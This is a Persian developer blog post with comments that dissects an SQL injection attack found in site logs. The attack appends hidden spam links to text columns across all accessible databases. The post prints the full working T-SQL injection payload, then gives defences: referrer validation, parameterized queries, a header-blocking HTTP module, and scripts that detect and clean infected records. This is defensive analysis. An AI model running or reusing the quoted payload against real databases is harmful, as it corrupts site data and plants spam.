نمونه‌ای از تزریق اس کیوال جهت درج تبلیغات مخفی شده‌ی در رکوردهای سایت
اندازه‌ی قلم متن
تخمین مدت زمان مطالعه‌ی مطلب: دو دقیقه

مدتی هست در لاگ‌های ELMAH سایت، یک چنین تزریق‌های اس کیوال ناموفقی مشاهده می‌شوند:


اگر اخیرا به دیتابیس شما رکوردهایی با divهای نامرئی ("div style="display:none) که داخل آن‌ها تبلیغات یک سری سایت‌های کذایی وجود دارند، اضافه شده‌اند، حتما مورد حمله‌ی SQL Injection فوق واقع شده‌اید.

مواردی را که باید بررسی کنید:
الف) آیا در سایت، قسمت ثبت ارجاعات را دارید؟
قبل از اینکه HTTP Referrer را بررسی کنید، یکبار آن‌را به عنوان پارامتر سازنده‌ی new Uri قرار دهید. به این صورت این حمله دقیقا در همین مرحله، با صدور یک استثناء، به علت معتبر نبودن آدرس دریافتی متوقف می‌شود:


ب) آیا در سایت، نوع مرورگرهای کاربران را نیز ذخیره می‌کنید؟
با توجه به شکل اول، این حمله تنها زمانی مؤثر خواهد بود که از کوئری‌های غیرپارامتری و یا از ORMها استفاده نمی‌کنید.

ج) آیا به محتوای دریافت شده‌ی از طریق کوئری استرینگ‌ها دقت دارید؟
این مورد نیز همانند حالت ب است.


بررسی ساختار این حمله

کوئری ارسالی (البته با حذف آدرس سایت‌های کذایی آن)، یک چنین فرمتی را دارد:
DECLARE @b AS CURSOR;

DECLARE @s AS VARCHAR (8000);

DECLARE @w AS VARCHAR (99);

SET @b = CURSOR
    FOR SELECT DB_NAME()
        UNION
        SELECT name
        FROM   sys.databases
        WHERE  (has_dbaccess(name) != 0)
               AND name NOT IN ('master', 'tempdb', 'model', 'msdb', DB_NAME());

OPEN @b;

FETCH NEXT FROM @b INTO @w;

WHILE @@FETCH_STATUS = 0
    BEGIN
        SET @s = 'begin try use ' + @w + ';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set 
[''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''<div style="display:none">desi adult stories <a 
href="http://www.site.com/">''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''stories'''' when 1 then ''''read'''' else ''''stories'''' end +''''</a> stories</div>'''' 
else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME 
WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while 
@@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';
        EXECUTE (@s);
        FETCH NEXT FROM @b INTO @w;
    END

CLOSE @b;
در اینجا ابتدا لیست بانک‌های اطلاعاتی موجود دریافت می‌شوند. سپس با استفاده از try/catch سعی در به روز رسانی رکوردهای جداولی که دارای فیلدهایی از نوع varchar یا nvarchar از نوع max هستند، می‌کند. از try/catch هم به این دلیل استفاده کرده‌است که در یک سایت اشتراکی، شما فقط به بانک اطلاعاتی خودتان دسترسی دارید و البته اگر از کاربر sa استفاده می‌کنید که ... هم اکنون تمام بانک‌های اطلاعاتی شما آلوده شده‌اند!
به روز رسانی آن هم رندام است. یعنی در یک سری رکورد، بر اساس case نوشته شده، تبلیغ خواندن و در یک سری دیگر، تبلیغ داستانی را در انتهای آن‌ها درج می‌کند.
  • #
    ‫۸ سال و ۹ ماه قبل، سه‌شنبه ۲۴ آذر ۱۳۹۴، ساعت ۰۵:۰۶
    سلام؛ من متاسفانه برای سایتم یه همچین اتفاقی افتاده بعضی اوقات کل فیلدهای یکی از تیبل‌ها به آخر محتویات فیلدها نوشته‌های انگلیسی اضافه میشه که جالبیش اینجاست که این نوشته‌ها با فیلدهای دیگه فرق میکنه. خواستم از دوستان علاقمند خواهش کنم اگه امکانش هست به سایت من یک نگاهی بندازید و ببینید مشکلات از کدام قسمت سایت هستش و هزینه آن را نیز دریافت نمایید. برای دریافت آدرس سایت لطفا به من PM ارسال کنید. با تشکر
    • #
      ‫۸ سال و ۹ ماه قبل، سه‌شنبه ۲۴ آذر ۱۳۹۴، ساعت ۱۳:۳۴
      با دیدن سایت، کار خاصی نمی‌شه انجام داد. شاید حداکثر بشه با ابزارهای تزریق کور اس کیوال مثل ACUNETIX یک حدس‌هایی زد؛ ولی کافی نیست. کد شما باید سطر به سطر بررسی و آنالیز بشه.
      خود مایکروسافت یک زمانی برای وب فرم‌ها، ابزاری رو به نام CAT.NET، درست کرده بود که کارش آنالیز استاتیک امنیتی کدهای برنامه است. نسخه‌ی 32 بیتی + نسخه‌ی 64 بیتی + ویدیوی آموزشی آن
  • #
    ‫۸ سال و ۹ ماه قبل، سه‌شنبه ۲۴ آذر ۱۳۹۴، ساعت ۱۵:۱۶
    یک نکته‌ی تکمیلی
    ابزار خاصی که حمله‌ی فوق را بر روی خیلی از سایت‌ها اجرا کرده‌است، هدرهای اضافی «HTTP_X_NEWRELIC_TRANSACTION و HTTP_X_NEWRELIC_ID» را هم ارسال می‌کند (مطابق تصویر) و برای شناسایی آن مفید است (یک HTTP Module را می‌توانید برای آن طراحی کنید که BeginRequest را تحت نظر قرار دهد):
    foreach (string item in HttpContext.Current.Request.Headers)
    {
         if (string.IsNullOrWhiteSpace(item)) continue;
    
         if (item == "HTTP_X_NEWRELIC_TRANSACTION" || item == "HTTP_X_NEWRELIC_ID")
         {
                HttpContext.Current.Response.StatusCode = 403; //Forbidden  
                HttpContext.Current.Response.End();
         }
    }
  • #
    ‫۸ سال و ۹ ماه قبل، سه‌شنبه ۲۴ آذر ۱۳۹۴، ساعت ۱۸:۵۰
    ممنون جناب نصیری.
    برای اینکه متوجه بشیم داده‌های دیتابیس ما آلوده شده یا نه میتونیم یک همچین کوئری رو اجرا کنیم :
    DECLARE
        @search_string  VARCHAR(100),
        @table_name     SYSNAME,
        @table_id       INT,
        @column_name    SYSNAME,
        @sql_string     VARCHAR(2000)
    
    SET @search_string = 'display:none'
    
    DECLARE tables_cur CURSOR FOR SELECT name, object_id FROM sys.objects WHERE type = 'U'
    
    OPEN tables_cur
    
    FETCH NEXT FROM tables_cur INTO @table_name, @table_id
    
    WHILE (@@FETCH_STATUS = 0)
    BEGIN
        DECLARE columns_cur CURSOR FOR SELECT name FROM sys.columns WHERE object_id = @table_id AND system_type_id IN (167, 175, 231, 239)
    
        OPEN columns_cur
    
        FETCH NEXT FROM columns_cur INTO @column_name
        WHILE (@@FETCH_STATUS = 0)
        BEGIN
            SET @sql_string = 'IF EXISTS (SELECT * FROM ' + @table_name + ' WHERE [' + @column_name + '] LIKE ''%' + @search_string + '%'') PRINT ''' + @table_name + ', ' + @column_name + ''''
    
            EXECUTE(@sql_string)
    
            FETCH NEXT FROM columns_cur INTO @column_name
        END
    
        CLOSE columns_cur
    
        DEALLOCATE columns_cur
    
        FETCH NEXT FROM tables_cur INTO @table_name, @table_id
    END
    
    CLOSE tables_cur
    
    DEALLOCATE tables_cur
    با توجه به پارامتر search_string ، لیست جدول‌ها و ستون هایی که اون مقدار داخلش هستند رو در خروجی نمایش میده. فرضا من تو دوتا از ستون‌های ، دوتا از جدولام مقادیر الوده رو قرار دادم( به صورت دستی) و خروجی به این صورت نمایش داده شد :

    Roles, Description
    Articles, Subject
    که درست هستش. برای ترمیمش هم همچین کوئری رو در sql اجرا کردم تا دستورات آپدیت حاصل بشن :

    DECLARE
        @search_string  VARCHAR(100),
        @table_name     SYSNAME,
        @table_id       INT,
        @column_name    SYSNAME,
        @sql_string     VARCHAR(2000)
    
    SET @search_string = 'display:none' -- The spammy text to search for.
    
    DECLARE tables_cur CURSOR FOR SELECT name, object_id FROM sys.objects WHERE type = 'U'
    
    OPEN tables_cur
    
    FETCH NEXT FROM tables_cur INTO @table_name, @table_id
    
    WHILE (@@FETCH_STATUS = 0)
    BEGIN
        DECLARE columns_cur CURSOR FOR SELECT name FROM sys.columns WHERE object_id = @table_id AND system_type_id IN (167, 175, 231, 239)
    
        OPEN columns_cur
    
        FETCH NEXT FROM columns_cur INTO @column_name
        WHILE (@@FETCH_STATUS = 0)
        BEGIN
            SET @sql_string = 'IF EXISTS (SELECT * FROM [' + @table_name + '] WHERE [' + @column_name + '] LIKE ''%' + @search_string + '%'') PRINT '' update [' + @table_name + '] set [' + @column_name + '] = substring([' + @column_name + '], 1, charindex(''''<'''', [' + @column_name + '])-1) where [' + @column_name + '] like ''''%<%'''''''
            --PRINT @sql_string
            EXECUTE(@sql_string)
    
            FETCH NEXT FROM columns_cur INTO @column_name
        END
    
        CLOSE columns_cur
    
        DEALLOCATE columns_cur
    
        FETCH NEXT FROM tables_cur INTO @table_name, @table_id
    END
    
    CLOSE tables_cur
    
    DEALLOCATE tables_cur

    و خروجی به این صورت حاصل شد :

     update [Roles] set [Description] = substring([Description], 1, charindex('<', [Description])-1) where [Description] like '%<%'
     update [Articles] set [Subject] = substring([Subject], 1, charindex('<', [Subject])-1) where [Subject] like '%<%'

    و هر دو دستور رو اجرا کردم و داده‌ها ترمیم پیدا کردن.

    نکته مهم : تمامی موارد گفته شده جنبه تستی داره چون  آلوده شدن و ترمیم شدن به صورت دستی رخ داده و روی هیچ دیتابیس واقعی آلوده شده تست نشده.